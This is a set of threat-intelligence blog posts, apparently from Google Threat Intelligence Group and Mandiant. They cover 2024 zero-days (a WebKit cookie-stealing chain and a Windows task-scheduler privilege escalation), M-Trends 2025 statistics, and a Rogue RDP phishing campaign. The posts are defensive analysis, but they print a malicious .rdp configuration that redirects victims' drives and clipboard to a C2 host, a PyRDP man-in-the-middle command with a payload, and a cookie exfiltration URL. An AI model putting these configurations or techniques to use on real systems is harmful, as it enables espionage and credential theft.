We attributed an additional two zero-days in 2024 to non-state groups with mixed motivations, conducting financially motivated activity in some operations but espionage in others. Two vulnerabilities (CVE-2024-9680 and CVE-2024-49039, detailed in the next section) were exploited as zero-days by CIGAR (also tracked as UNC4895 or publicly reported as RomCom), a group that has conducted financially motivated operations alongside espionage likely on behalf of the Russian government, based partly on observed highly specific targeting focused on Ukrainian and European government and defense organizations.

A Zero-Day Spotlight on CVE-2024-44308, CVE-2024-44309, and CVE-2024-49039: A look into zero-days discovered by GTIG researchers Spotlight #1: Stealing Cookies with Webkit

On Nov. 12, 2024, GTIG detected a potentially malicious piece of JavaScript code injected on https://online.da.mfa.gov[.]ua/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.4. The JavaScript was loaded directly from the main page of the website of the Diplomatic Academy of Ukraine, online.da.mfa.gov.ua. Upon further analysis, we discovered that the JavaScript code was a WebKit exploit chain specifically targeting MacOS users running on Intel hardware.

The exploit consisted of a WebKit remote code execution (RCE) vulnerability (CVE-2024-44308), leveraging a logical Just-In-Time (JIT) error, succeeded by a data isolation bypass (CVE-2024-44309). The RCE vulnerability employed simple and old JavaScriptCore exploitation techniques that are publicly documented, namely:

Setting up addrof/fakeobj primitives using the vulnerability
Leaking StructureID
Building a fake TypedArray to gain arbitrary read/write
JIT compiling a function to get a RWX memory mapping where a shellcode can be written and executed

The shellcode traversed a set of pointers and vtables to find and call WebCookieJar::cookieRequestHeaderFieldValue with an empty firstPartyForCookies parameter, allowing the threat actor to access cookies of any arbitrary website passed as the third parameter to cookieRequestHeaderFieldValue.

The end goal of the exploit is to collect users' cookies in order to access login.microsoftonline.com. The cookie values were directly appended in a GET request sent to https://online.da.mfa.gov.ua/gotcookie?.

This is not the first time we have seen threat actors stay within the browser to collect users' credentials. In March 2021, a targeted campaign used a zero-day against WebKit on iOS to turn off Same-Origin-Policy protections in order to collect authentication cookies from several popular websites. In August 2024, a watering hole on various Mongolian websites used Chrome and Safari n-day exploits to exfiltrate users’ credentials.

While it is unclear why this abbreviated approach was taken as opposed to deploying full-chain exploits, we identified several possibilities, including:

The threat actor was not able to get all the pieces to have a full chain exploit. In this case, the exploit likely targeted only the MacIntel platform because they did not have a Pointer Authentication Code (PAC) bypass to target users using Apple Silicon devices. A PAC bypass is required to make arbitrary calls for their data isolation bypass.
The price for a full chain exploit was too expensive, especially when the chain is meant to be used at a relatively large scale. This especially includes watering hole attacks, where the chances of being detected are high and subsequently might quickly burn the zero-day vulnerability and exploit.
Stealing credentials is sufficient for their operations and the information they want to collect.

This trend is also observed beyond the browser environment, wherein third-party mobile applications (e.g., messaging applications) are targeted, and threat actors are stealing the information only accessible within the targeted application.

Spotlight #2: CIGAR Local Privilege Escalations CIGAR's Browser Exploit Chain

In early October 2024, GTIG independently discovered a fully weaponized exploit chain for Firefox and Tor browsers employed by CIGAR. CIGAR is a dual financial- and espionage-motivated threat group assessed to be running both types of campaigns in parallel, often simultaneously. In 2023, we observed CIGAR utilizing an exploit chain in Microsoft Office (CVE-2023-36884) as part of an espionage campaign targeting attendees of the Ukrainian World Congress and NATO Summit; however, in an October 2024 campaign, the usage of the Firefox exploit appears to be more in line with the group's financial motives.

Our analysis, which broadly matched ESET's findings, indicated that the browser RCE used is a use-after-free vulnerability in the Animation timeline. The vulnerability, known as CVE-2024-9680, was an n-day at the time of discovery by GTIG.

Upon further analysis, we identified that the embedded sandbox escape, which was also used as a local privilege escalation to NT/SYSTEM, was exploiting a newfound vulnerability. We reported this vulnerability to Mozilla and Microsoft, and it was later assigned CVE-2024-49039.

Double-Down on Privilege Escalation: from Low Integrity to SYSTEM

Firefox uses security sandboxing to introduce an additional security boundary and mitigate the effects of malicious code achieving code execution in content processes. Therefore, to achieve code execution on the host, an additional sandbox escape is required.

The in-the-wild CVE-2024-49039 exploit, which contained the PDB string C:\etalon\PocLowIL\@Output\PocLowIL.pdb, could achieve both a sandbox escape and privilege escalation. The exploit abused two distinct issues to escalate privileges from Low Integrity Level (IL) to SYSTEM: the first allowed it to access the WPTaskScheduler RPC Interface (UUID: {33d84484-3626-47ee-8c6f-e7e98b113be1}), normally not accessible from a sandbox Firefox content process via the "less-secure endpoint" ubpmtaskhostchannel created in ubpm.dll; the second stems from insufficient Access Control List (ACL) checks in WPTaskScheduler.dll RPC server, which allowed an unprivileged user to create and execute scheduled tasks as SYSTEM.

As detailed in "How to secure a Windows RPC Server, and how not to.," there are three ways to secure an RPC server, and all three were utilized in WPTaskScheduler:

1. Securing the endpoint: In WPTaskScheduler::TsiRegisterRPCInterface, the third argument to RpcServerUseProtseq is a non-NULL security descriptor (SD).

This SD should prevent the Firefox "Content" process from accessing the WPTaskScheduler RPC endpoint. However, a lesser known "feature" of RPC is that RPC endpoints are multiplexed, meaning that if there is a less secure endpoint in the same process, it is possible to access an interface indirectly from another endpoint (with a more permissive ACL). This is what the exploit does: instead of accessing RPC using the ALPC port that the WPTaskScheduler.dll sets up, it resolves the interface indirectly via upbmtaskhostchannel. ubpm.dll uses a NULL security descriptor when initializing the interface, instead relying on the UbpmpTaskHostChannelInterfaceSecurityCb callback for ACL checks:

Figure 5: NULL security descriptor used when creating "ubpmtaskhostchannel" RPC endpoint in ubpm.dll::UbpmEnableTaskHostChannelRpcInterface, exposing a less secure endpoint for WPTaskScheduler interface

2. Securing the interface: In the same WPTaskScheduler::TsiRegisterRPCInterface function, an overly permissive security descriptor was used as an argument to RpcServerRegisterIf3. As we can see on the listing below, the CVE-2024-49039 patch addressed this by introducing a more locked-down SD.

Figure 6: Patched WPTaskScheduler.dll introduces a more restrictive security descriptor when registering an RPC interface

3. Ad-hoc Security: Implemented in WPTaskScheduler.dll::CallerHasAccess and called prior to enabling or executing any scheduled task. The function performs checks on whether the calling user is attempting to execute a task created by them or one they should be able to access but does not perform any additional checks to prevent calls originating from an unprivileged user.

CVE-2024-49039 addresses the issue by applying a more restrictive ACL to the interface; however, the issue with the less secure endpoint described in "1. Securing the endpoint" remains, and a restricted token process is still able to access the endpoint.

Unidentified Actor Using the Same Exploits

In addition to CIGAR, we discovered another, likely financially motivated, group using the exact same exploits (albeit with a different payload) while CVE-2024-49039 was still a zero-day. This actor utilized a watering hole on a legitimate, compromised cryptocurrency news website redirecting to an attacker-controlled domain hosting the same CVE-2024-9680 and CVE-2024-49039 exploit.

Outlook and Implications

Defending against zero-day exploitation continues to be a race of strategy and prioritization. Not only are zero-day vulnerabilities becoming easier to procure, but attackers finding use in new types of technology may strain less experienced vendors. While organizations have historically been left to prioritize patching processes based on personal or organizational threats and attack surfaces, broader trends can inform a more specific approach alongside lessons learned from major vendors' mitigation efforts.

We expect zero-day vulnerabilities to maintain their allure to threat actors as opportunities for stealth, persistence, and detection evasion. While we observed trends regarding improved vendor security posture and decreasing numbers around certain historically popular products—particularly mobile and browsers—we anticipate that zero-day exploitation will continue to rise steadily. Given the ubiquity of operating systems and browsers in daily use, big tech vendors are consistently high-interest targets, and we expect this to continue. Phones and browsers will almost certainly remain popular targets, although enterprise software and appliances will likely see a continued rise in zero-day exploitation. Big tech companies have been victims of zero-day exploitation before and will continue to be targeted. This experience, in addition to the resources required to build more secure products and detect vulnerabilities in responsible manners, permits larger companies to approach zero-days as a more manageable problem.

For newly targeted vendors and those with products in the growing prevalence of targeted enterprise products, security practices and procedures should evolve to consider how successful exploitation of these products could bypass typical protection mechanisms. Preventing successful exploitation will rely heavily on these vendors' abilities to enforce proper and safe coding practices. We continue to see the same types of vulnerabilities exploited over time, indicating patterns in what weaknesses attackers seek out and find most beneficial to exploit. Continued existence and exploitation of similar issues makes zero-days easier; threat actors know what to look for and where exploitable weaknesses are most pervasive.

Vendors should account for this shift in threat activity and address gaps in configurations and architectural decisions that could permit exploitation of a single product to cause irreparable damage. This is especially true for highly valuable tools with administrator access and/or widespread reach across systems and networks. Best practices continue to represent a minimum threshold of what security standards an architecture should demonstrate, including zero-trust fundamentals such as least-privilege access and network segmentation. Continuous monitoring should occur where possible in order to restrict and end unauthorized access as swiftly as possible, and vendors will need to account for EDR capabilities for technologies that currently lack them (e.g., many security and networking products). GTIG recommends acute threat surface awareness and respective due diligence in order to defend against today's zero-day threat landscape. Zero-day exploitation will ultimately be dictated by vendors' decisions and ability to counter threat actors' objectives and pursuits.

Google Threat Intelligence Group

M-Trends 2025: Data, Insights, and Recommendations From the Frontlines

Mandiant Threat Intelligence

3 months 4 weeks ago

One of the ways threat actors keep up with the constantly evolving cyber defense landscape is by raising the level of sophistication of their attacks. This trend can be seen across many of our engagements, particularly when responding to China-nexus groups. These actors have demonstrated the ability to create custom malware ecosystems, identify and use zero-day vulnerabilities in security and other appliances, leverage proxy networks akin to botnets, target edge devices and platforms that traditionally lack endpoint detection and response, and employ custom obfuscators in their malware. They take these extra steps to evade detection, stifle analysis, and ultimately stay on systems for longer periods of time.

However, not all successful attacks are highly complex and technical. Many times attackers will take advantage of the opportunities that are made available to them. This includes using credentials stolen in infostealer operations to gain initial access. Mandiant has seen such a rise in infostealer use that stolen credentials are now the second highest initial infection vector, making up 16% of our investigations. Other ways attackers are taking advantage of opportunities is by exploiting gaps and risks introduced in cloud migrations, and targeting unsecured data repositories to obtain credentials and other sensitive information.

Today we released M-Trends 2025, the 16th edition of our annual report, to help organizations stay ahead of all types of attacks. We dive deep into several trends and share data and analysis from the frontlines of our incident response engagements to arm defenders with critical insights into the latest cyber threats.

aside_block: <ListValue: [StructValue([('title', 'M-Trends 2025 is available!'), ('body', <wagtail.rich_text.RichText object at 0x3ee781e684f0>), ('btn_text', 'Read now'), ('href', 'https://cloud.google.com/security/resources/m-trends?utm_source=m-trends-launch-blog&utm_medium=blog&utm_campaign=FY25-Q2-global-GCP33067-website-dl-dgcsm-m-trends-2025-report&utm_content=m-trends-launch-blog&utm_term=-'), ('image', <GAEImage: m-trends 2025 cover>)])]>

Data and Trends

M-Trends 2025 data is based on more than 450,000 hours of Mandiant Consulting investigations. The metrics are based on investigations of targeted attack activity conducted between Jan. 1, 2024 and Dec. 31, 2024. Key findings in M-Trends 2025 include:

55% of threat groups active in 2024 were financially motivated, which marks a steady increase, and 8% of threat groups were motivated by espionage.
Exploits continue to be the most common initial infection vector (33%), and for the first time stolen credentials rose to the second most common in 2024 (16%).
The top targeted industries include financial (17.4%), business and professional services (11.1%), high tech (10.6%), government (9.5%), and healthcare (9.3%).
Global median dwell time rose to 11 days from 10 days in 2023. Global median dwell time was 26 days when external entities notified, 5 days when adversaries notified (notably in ransomware cases), and 10 days when organizations discovered malicious activity internally.

M-Trends 2025 dives deep into the aforementioned infostealer, cloud, and unsecured data repository trends, and several other topics, including:

Democratic People's Republic of Korea deploying citizens as remote IT contractors, using false identities to generate revenue and fund national interests.
Iran-nexus threat actors ramping up cyber operations in 2024, notably targeting Israeli entities and using a variety of methods to improve intrusion success.
Attackers targeting cloud-based stores of centralized authority, such as single sign-on portals, to gain broad access.
Increased targeting of Web3 technologies such as cryptocurrencies and blockchains for theft, money laundering, and financing illicit activities.

Recommendations for Organizations

Each article in M-Trends 2025 offers critical recommendations for organizations to enhance their cybersecurity postures, with several of them being applicable to multiple trends. We advise that organizations:

Implement a layered security approach that emphasizes sound fundamentals such as vulnerability management, least privilege, and hardening.
Enforce FIDO2-compliant multi-factor authentication across all user accounts, especially privileged accounts.
Invest in advanced detection technologies and develop robust incident response plans.
Improve logging and monitoring practices to identify suspicious activity and reduce dwell time.
Consider threat hunting exercises to proactively search for indicators of compromise.
Implement strong security controls for cloud migrations and deployments.
Regularly assess and audit cloud environments for vulnerabilities and misconfigurations.
Mitigate insider risk by practicing thorough vetting processes for employees (especially remote workers), monitoring for suspicious activity, and enforcing strict access controls.
Keep up-to-date with the latest threat intelligence, adapt security strategies accordingly, and regularly review and update security policies and procedures to address evolving threats.

Be Ready to Respond

The M-Trends mission has always been to equip security professionals with frontline insights into the latest evolving cyberattacks and to provide practical and actionable learnings for better organizational security.

Read the full M-Trends 2025 report today, and register for our M-Trends 2025 webinar series for a more in-depth look at the data, topics, and recommendations discussed in the report. The M-Trends 2025 Executive Edition is also available, featuring a high-level look at the data and trends, along with key recommendations. Listen to the M-Trends 2025 episode of the Cloud Security Podcast to learn more about what the findings mean, and how the report gets created.

Jurgen KutscherVice President, Mandiant Consulting, Google Cloud

Windows Remote Desktop Protocol: Remote to Rogue

Mandiant Threat Intelligence

4 months 2 weeks ago

Written by: Rohit Nambiar

Executive Summary

In October 2024, Google Threat Intelligence Group (GTIG) observed a novel phishing campaign targeting European government and military organizations that was attributed to a suspected Russia-nexus espionage actor we track as UNC5837. The campaign employed signed .rdp file attachments to establish Remote Desktop Protocol (RDP) connections from victims' machines. Unlike typical RDP attacks focused on interactive sessions, this campaign creatively leveraged resource redirection (mapping victim file systems to the attacker servers) and RemoteApps (presenting attacker-controlled applications to victims). Evidence suggests this campaign may have involved the use of an RDP proxy tool like PyRDP to automate malicious activities like file exfiltration and clipboard capture. This technique has been previously dubbed as “Rogue RDP.”

The campaign likely enabled attackers to read victim drives, steal files, capture clipboard data (including passwords), and obtain victim environment variables. While we did not observe direct command execution on victim machines, the attackers could present deceptive applications for phishing or further compromise. The primary objective of the campaign appears to be espionage and file theft, though the full extent of the attacker's capabilities remains uncertain. This campaign serves as a stark reminder of the security risks associated with obscure RDP functionalities, underscoring the importance of vigilance and proactive defense.

Introduction

Remote Desktop Protocol (RDP) is a legitimate Windows service that has been well researched by the security community. However, most of the security community’s existing research is focused on the adversarial use of RDP to control victim machines via interactive sessions.

This campaign included use of RDP that was not focused on interactive control of victim machines. Instead, adversaries leveraged two lesser-known features of the RDP protocol to present an application (the nature of which is currently unknown) and access victim resources. Given the low prevalence of this tactic, technique, and procedure (TTP) in previous reporting, we seek to explore the technical intricacies of adversary tradecraft abusing the following functionality of RDP:

RDP Property Files (.rdp configuration files)
Resource redirection (e.g. mapping victim file systems to the RDP server)
RemoteApps (i.e. displaying server-hosted applications to victim)

Additionally, we will shed light on PyRDP, an open-source RDP proxy tool that offers attractive automation capabilities to attacks of this nature.

By examining the intricacies of the tradecraft observed, we gain not only a better understanding of existing campaigns that have employed similar tradecraft, but of attacks that may employ these techniques in the future.

Campaign Operations

This campaign tracks a wave of suspected Russian espionage activity targeting European government and military organizations via widespread phishing. Google Threat Intelligence Group (GTIG) attributes this activity to a suspected Russia-nexus espionage actor group we refer to as UNC5837. The Computer Emergency Response Team of Ukraine (CERT-UA) reported this campaign on Oct. 29, 2024, noting the use of mass-distributed emails with.rdp file attachments among government agencies and other Ukrainian organizations. This campaign has also been documented by Microsoft, TrendMicro, and Amazon.

The phishing email in the campaign claimed to be part of a project in conjunction with Amazon, Microsoft, and the Ukrainian State Secure Communications and Information Security Agency. The email included a signed .rdp file attachment purporting to be an application relevant to the described project. Unlike more common phishing lures, the email explicitly stated no personal data was to be provided and if any errors occurred while running the attachment, to ignore it as an error report would be automatically generated.

Figure 1: Campaign email sample

Executing the signed attachment initiates an RDP connection from the victim's machine. The attachment is signed with a Let’s Encrypt certificate issued to the domain the RDP connection is established with. The signed nature of the file bypasses the typical yellow warning banner, which could otherwise alert the user to a potential security risk. More information on signature-related characteristics of these files are covered in a later section.

Figure 2: Unsigned RDP connection — warning banner

The malicious .rdp configuration file specifies that, when executed, an RDP connection is initiated from the victim’s machine while granting the adversary read & write access to all victim drives and clipboard content. Additionally, it employs the RemoteApp feature, which presents a deceptive application titled "AWS Secure Storage Connection Stability Test" to the victim's machine. This application, hosted on the attacker's RDP server, masquerades as a locally installed program, concealing its true, potentially malicious nature. While the application's exact purpose remains undetermined, it may have been used for phishing or to trick the user into taking action on their machine, thereby enabling further access to the victim's machine.

Further analysis suggests the attacker may have used an RDP proxy tool like PyRDP (examined in later sections), which could automate malicious activities such as file exfiltration and clipboard capture, including potentially sensitive data like passwords. While we cannot confirm the use of an RDP proxy tool, the existence, ease of accessibility, and functionalities offered by such a tool make it an attractive option for this campaign. Regardless of whether such a tool was used or not, the tool is bound to the permissions granted by the RDP session. At the time of writing, we are not aware of an RDP proxy tool that exploits vulnerabilities in the RDP protocol, but rather gives enhanced control over the established connection.

The techniques seen in this campaign, combined with the complexity of how they interact with each other, make it tough for incident responders to assess the true impact to victim machines. Further, the number of artifacts left to perform post-mortem are relatively small, compared to other attack vectors. Because existing research on the topic is speculative regarding how much control an attacker has over the victim, we sought to dive deeper into the technical details of the technique components. While full modi operandi cannot be conclusively determined, UNC5837’s primary objective appears to be espionage and file stealing.

Deconstructing the Attack: A Deep Dive into RDP Techniques Remote Desktop Protocol

The RDP is used for communication between the Terminal Server and Terminal Server Client. RDP works with the concept of “virtual channels” that are capable of carrying presentation data, keyboard/mouse activity, clipboard data, serial device information, and more. Given these capabilities, as an attack vector, RDP is commonly seen as a route for attackers in possession of valid victim credentials to gain full graphical user interface (GUI) access to a machine. However, the protocol supports other interesting capabilities that can facilitate less conventional attack techniques.

RDP Configuration Files

RDP has a number of properties that can be set to customize the behavior of a remote session (e.g., IP to connect to, display settings, certificate options). While most are familiar with configuring RDP sessions via a traditional GUI (mstsc.exe), these properties can also be defined in a configuration file with the .rdp extension which, when executed, achieves the same effect.

The following .rdp file was seen as an email attachment (SHA256): ba4d58f2c5903776fe47c92a0ec3297cc7b9c8fa16b3bf5f40b46242e7092b46

An excerpt of this .rdp file is displayed in Figure 3 with annotations describing some of the configuration settings.

# Connection information alternate full address:s:eu-southeast-1-aws[.]govtr[.]cloud full address:s:eu-southeast-1-aws[.]govtr[.]cloud # Resource Redirection drivestoredirect:s:* redirectprinters:i:1 redirectcomports:i:1 redirectsmartcards:i:1 redirectwebauthn:i:1 redirectclipboard:i:1 redirectposdevices:i:1 # RemoteApp Config remoteapplicationicon:s:C:\Windows\SystemApps\Microsoft.Windows. SecHealthUI_cw5n1h2txyewy\Assets\Health.contrast-white.ico remoteapplicationmode:i:1 remoteapplicationname:s:AWS Secure Storage Connection Stability Test v24091285697854 remoteapplicationexpandcmdline:i:0 remoteapplicationcmdline:s:%USERPROFILE% %COMPUTERNAME% %USERDNSDOMAIN% remoteapplicationprogram:s:||AWS Secure Storage Connection Stability Test v24091285697854 # Certificate Signing signature:s:AQABAAEAAABIDgAAMIIORAYJKoZIhvcNAQcCoIIONTCCDj ECAQExDzANBglghkgB ZQMEAgEFADALBgkqhkiG9w0BBwGggg1VMIID hzCCAw2gAwIBAgISBAM9zxvijMss qZQ1HI92Q29iMAoGCCqGSM49BA MDMDIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1M ZXQncyBFbmNye XB0MQswCQYDVQQDEwJFNTAeFw0yNDA5MjUxMzM1MjRaFw0yNDEy MjQxMzM1MjNaMBYxFDASBgNVBAMTC2dvdnRyLmNsb3VkMFkwEwY HKoZIzj0CAQYI KoZIzj0DAQcDQgAE9QvXN8RVmfGSaJf0nPJcFoWu8N whtD2/MJa+0N6k+7pn5XxS 2s74CVZ6alzVJhuRh3711HkOJ/NDZ1HgA 0IGtaOCAh0wggIZMA4GA1UdDwEB/wQE AwIHgDAdBgNVHSUEFjAUBg grBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIw ADAdBgNVHQ 4EFgQUmlyAvqbyzuGLNNsbP3za+WwgrfwwHwYDVR0jBBgwFoAUnytf zzwhT50Et+0rLMTGcIvS1w0wVQYIKwYBBQUHAQEESTBHMCEGCCsG AQUFBzABhhVo dHRwOi8vZTUuby5sZW5jci5vcmcwIgYIKwYBBQUHM AKGFmh0dHA6Ly9lNS5pLmxl bmNyLm9yZy8wJQYDVR0RBB4wHIINK i5nb3Z0ci5jbG91ZIILZ292dHIuY2xvdWQw EwYDVR0gBAwwCjAIBgZng QwBAgEwggEFBgorBgEEAdZ5AgQCBIH2BIHzAPEAdwBI sONr2qZHNA/ lagL6nTDrHFIBy1bdLIHZu7+rOdiEcwAAAZIpml1hAAAEAwBIMEYC IQCpE8FeX9O+aQZBuhg0LrUcIpfZx9pojamHrrov9YJjSQIhAKBBEO2sSlX3Wxau c7p/xhzOfesiX4DnuCk57t...

Figure 3: .rdp file excerpt

When executed, this configuration file initiates an RDP connection to the malicious command-and-control (C2 or C&C) server eu-southeast-1-aws[.]govtr[.]cloud and redirects all drives, printers, COM ports, smart cards, WebAuthn requests (e.g., security key), clipboard, and point-of-sale (POS) devices to the C2 server.

The remoteapplicationmode parameter being set to 1 will switch the session from the “traditional” interactive GUI session to instead presenting the victim with only a part (application) of the RDP server. The RemoteApp, titled AWS Secure Storage Connection Stability Test v24091285697854, resides on the RDP server and is presented to the victim in a windowed popup. The icon used to represent this application (on the Windows taskbar for example) is defined by remoteapplicationicon. Windows environment variables %USERPROFILE%, %COMPUTERNAME%, and %USERDNSDOMAIN% are used as command-line arguments to the application. Due to the use of the property remoteapplicationexpandcmdline:i:0 , the Windows environment variables sent to the RDP server will be that of the client (aka victim), effectively performing initial reconnaissance upon connection.

Lastly, the signature property defines the encoded signature that signs the .rdp file. The signature used in this case was generated using Let’s Encrypt. Interestingly, the SSL certificate used to sign the file is issued for the domain the RDP connection is made to. For example, with SHA256: 1c1941b40718bf31ce190588beef9d941e217e6f64bd871f7aee921099a9d881.

Figure 4: Signature property within .rdp file

Tools like rdp_holiday can be used to decode the public certificate embedded within the file in Figure 4.

Figure 5: .rdp file parsed by rdp_holiday

The certificate is an SSL certificate issued for the domain the RDP connection is made to. This can be correlated with the RDP properties full_address / alternate_full_address.

alternate full address:s:eu-north-1-aws.ua-gov.cloud full address:s:eu-north-1-aws.ua-gov.cloud

Figure 6: Remote Address RDP Proprties

.rdp files targeting other victims also exhibited similar certificate behavior.

In legitimate scenarios, an organization could sign RDP connections with SSL certificates tied to their organization’s certificate authority. Additionally, an organization could also disable execution of .rdp files from unsigned and unknown publishers. The corresponding GPO can be found under Administrative Templates -> Windows Components -> Remote Desktop Services -> Remote Desktop Connection Client -> Allow .rdp files from unknown publishers.

Figure 7: GPO policy for disabling unknown and unsigned .rdp file execution

The policy in Figure 7 can optionally further be coupled with the “Specify SHA1 Thumbprints of certificates representing trusted .rdp publishers” policy (within the same location) to add certificates as Trusted Publishers.

From an attacker’s perspective, existence of a signature allows the connection prompt to look less suspicious (i.e., without the usual yellow warning banner), as seen in Figure 8.

Figure 8: Connection prompt (source)

This RDP configuration approach is especially notable because it maps resources from both the adversary and victim machines:

This RemoteApp being presented resides on the adversary-controlled RDP server, not the client/victim machine.
The Windows environment variables are that of the client/victim that are forwarded to the RDP server as command-line arguments
Victim file system drives are forwarded and accessible as remote shares on the RDP server. Only the drives accessible to the victim-user initiating the RDP connection are accessible to the RDP server. The RDP server by default has the ability to read and write to the victim’s file system drives
Victim clipboard data is accessible to the RDP server. If the victim machine is running within a virtualized environment but shares its clipboard with the host machine in addition to the guest, the host’s clipboard will also be forwarded to the RDP server.

Keeping track of what activity happens on the victim and on the server in the case of an attacker-controlled RDP server helps assess the level of control the attacker has over the victim machine. A deeper understanding of the RDP protocol's functionalities, particularly those related to resource redirection and RemoteApp execution, is crucial for analyzing tools like PyRDP. PyRDP operates within the defined parameters of the RDP protocol, leveraging its features rather than exploiting vulnerabilities. This makes understanding the nuances of RDP essential for comprehending PyRDP's capabilities and potential impact.

More information on RDP parameters can be found here and here.

Resource Redirection

The campaign’s .rdp configuration file set several RDP session properties for the purpose of resource redirection.

RDP resource redirection enables the utilization of peripherals and devices connected to the local system within the remote desktop session, allowing access to resources such as:

Printers
Keyboards, mouse
Drives (hard drives, CD/DVD drives, etc.)
Serial ports
Hardware keys like Yubico (via smartcard and WebAuthn redirection)
Audio devices
Clipboards (for copy-pasting between local and remote systems)

Resource redirection in RDP is facilitated through Microsoft's "virtual channels." The communication happens via special RDP packets, called protocol data packets (PDU), that mirror changes between the victim and attacker machine as long as the connection is active. More information on virtual channels and PDU structures can be found in MS-RDPERP.

Typically, virtual channels employ encrypted communication streams. However, PyRDP is capable of capturing the initial RDP handshake sequences and hence decrypting the RDP communication streams.

Figure 9: Victim’s mapped-drives as seen on an attacker’s RDP server

Remote Programs / RemoteApps

RDP has an optional feature called RemoteApp programs, which are applications (RemoteApps) hosted on the remote server that behave like a windowed application on the client system, which in this case is a victim machine. This can make a malicious remote app seem like a local application to the victim machine without ever having to touch the victim machine’s disk.

Figure 10 is an example of the MS Paint application presented as a RemoteApp as seen by a test victim machine. The application does not exist on the victim machine but is presented to appear like a native application. Notice how there is no banner/top dock that indicates an RDP connection one would expect to see in an interactive session. The only indicator appears to be the RDP symbol on the taskbar.

Figure 10: RDP RemoteApp (MsPaint.exe) hosted on the RDP server, as seen on a test victim machine

All resources used by RemoteApp belong to that of the RDP server. Additionally, if victim drives are mapped to the RDP server, they are accessible by the RemoteApp as well.

PyRDP

While the use of a tool like PyRDP in this campaign cannot be confirmed, the automation capabilities it offers make it an attractive option worth diving deeper into. A closer look at PyRDP will illuminate how such a tool could be useful in this context.

PyRDP is an open-source, Python-based, man-in-the-middle (MiTM) RDP proxy toolkit designed for offensive engagements.

Figure 11: PyRDP as a MiTM tool

PyRDP operates by running on a host (MiTM server) and pointing it to a server running Windows RDP. Victims connect to the MiTM server with no indication of being connected to a relay server, while PyRDP seamlessly relays the connection to the final RDP server while providing enhanced capabilities over the connection, such as:

Stealing NTLM hashes of the credentials used to authenticate to the RDP server
Running commands on the RDP server after the user connects
Capturing the user’s clipboard
Enumerating mapped drives
Stream, record (video format), and session takeover

It’s important to note that, from our visibility, PyRDP does not exploit vulnerabilities or expose a new weakness. Instead, PyRDP gives granular control to the functionalities native to the RDP protocol.

Password Theft

PyRDP is capable of stealing passwords, regardless of whether Network Level Authentication (NLA) is enabled. In the case NLA is enabled, it will capture the NTLM hash via the NLA as seen in Figure 12. It does so by interrupting the original RDP connection sequence and completing part of it on its own, thereby allowing it to capture hashed credentials. The technique works in a similar way to Responder. More information about how PyRDP does this can be found here.

Figure 12: RDP server user NTLMv2 Hashes recorded by PyRDP during user authentication

Alternatively, if NLA is not enabled, PyRDP attempts to scan the codes it receives when a user tries to authenticate and convert them into virtual key codes, thereby "guessing" the supplied password. The authors of the tool refer to this as their “heuristic method” of detecting passwords.

Figure 13: Plaintext password detection without NLA

When the user authenticates to the RDP server, PyRDP captures these credentials used to login to the RDP server. In the event the RDP server is controlled by the adversary (e.g., in this campaign), this feature does not add much impact since the credentials captured belong to the actor-controlled RDP server. This capability becomes impactful, however, when an attacker attempts an MiTM attack where the end server is not owned by them.

It is worth noting that during setup, PyRDP allows credentials to be supplied by the attacker. These credentials are then used to authenticate to the RDP server. By doing so, the user does not need to be prompted for credentials and is directly presented with the RemoteApp instead. In the campaign, given that the username RDP property was empty, the RDP server was attacker-controlled, and the RemoteApp seemed to be core to the storyline of the operation, we suspect a tool like PyRDP was used to bypass the user authentication prompt to directly present the AWS Secure Storage Connection Stability Test v24091285697854 RemoteApp to the victim.

Finally, PyRDP automatically captures the RDP challenge during connection establishment. This enables RDP packets to be decrypted if raw network captures are available, revealing more granular details about the RDP session.

Command Execution

PyRDP allows for commands to be executed on the RDP server. However, it does not allow for command execution on the victim’s machine. At the time of deployment, commands to be executed can be supplied to PyRDP in the following ways:

MS-DOS (cmd.exe)
PowerShell commands
PowerShell scripts hosted on the PyRDP server file system

PyRDP executes the command by freezing/blocking the RDP session for a given amount of time, while the command executes in the background. To the user, it seems like the session froze. At the time of deploying the PyRDP MiTM server, the attacker specifies:

What command to execute (in one of the aforementioned three ways)
How long to block/freeze the user session for
How long the command will take to complete

PyRDP is capable of detecting user connections and disconnections to RDP sessions. However, it lacks the ability to detect user authentication to the RDP server. As a user may connect to an RDP session without immediately proceeding to account login, PyRDP cannot determine authentication status, thus requiring the attacker to estimate a waiting period following user connection (and preceding authentication) before executing commands. It also requires the attacker to define the duration for which the session is to be frozen during command execution, since PyRDP has no way of knowing when the command completes.

The example in Figure 14 relays incoming connections to an RDP server on 192.168.1.2. Upon connection, it then starts the calc.exe process on the RDP server 20 seconds after the user connects and freezes the user session for five seconds while the command executes.

sudo docker run -p 3389:3389 gosecure/pyrdp pyrdp-mitm 192.168.1.2 --payload "timeout 5 & start calc.exe" --payload-delay 20000 --payload-duration 5000

Figure 14: PyRDP deployment command

A clever attacker can use this capability of PyRDP to plant malicious files on a redirected drive, even though it cannot directly run it on the victim machine. This could facilitate dropping malicious files in locations that allow for further persistent access (e.g., via DLL-sideloading, malware in startup locations). Defenders can hunt for this activity by monitoring file creations originating from mstsc.exe. We'll dive deeper into practical detection strategies later in this post.

Clipboard Capture

PyRDP automatically captures the clipboard of the victim user for as long as the RDP connection is active. This is one point where the attacker’s control extends beyond the RDP server and onto the victim machine.

Note that if a user connects from a virtual environment (e.g., VMware) and the host machine's clipboard is mapped to the virtual machine, it would also be forwarded to the RDP session. This can allow the attacker to capture clipboard content from the host and guest machine combined.

Scraping/Browsing Client Files

With file redirection enabled, PyRDP can crawl the target system and save all or specified folders to the MiTM server if instructed at setup using the --crawl option. If the --crawl option is not specified at setup, PyRDP will still capture files, but only those accessed by the user during the RDP session, such as environment files. During an active connection, an attacker can also connect to the live stream and freely browse the target system's file system via the PyRDP-player GUI to download files (see Figure 15).

It is worth noting that while PyRDP does not explicitly present the ability to place files on the victim’s mapped drives, the RDP protocol itself does allow it. Should an adversary misuse that capability, it would be outside the scope of PyRDP.

Stream/Capture/Intercept RDP Sessions

PyRDP is capable of recording RDP sessions for later playback. An attacker can optionally stream each intercepted connection and thereafter connect to the stream port to interact with the live RDP connection. The attacker can also take control of the RDP server and perform actions on the target system. When an attacker takes control, the RDP connection hangs for the user, similar to when commands are executed when a user connects.

Streaming, if enabled with the -i option, defaults to TCP port 3000 (configurable). Live connections are streamed on a locally bound port, accessible via the included pyrdp-player script GUI. Upon completion of a connection, an .mp4 recording of the session can be produced by PyRDP.

